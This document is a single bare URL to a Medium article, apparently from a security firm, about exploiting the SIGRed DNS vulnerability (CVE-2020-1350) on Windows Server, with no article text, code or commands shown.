https://datafarm-cybersecurity.medium.com/exploiting-sigred-cve-2020-1350-on-windows-server-2012-2016-2019-80dd88594228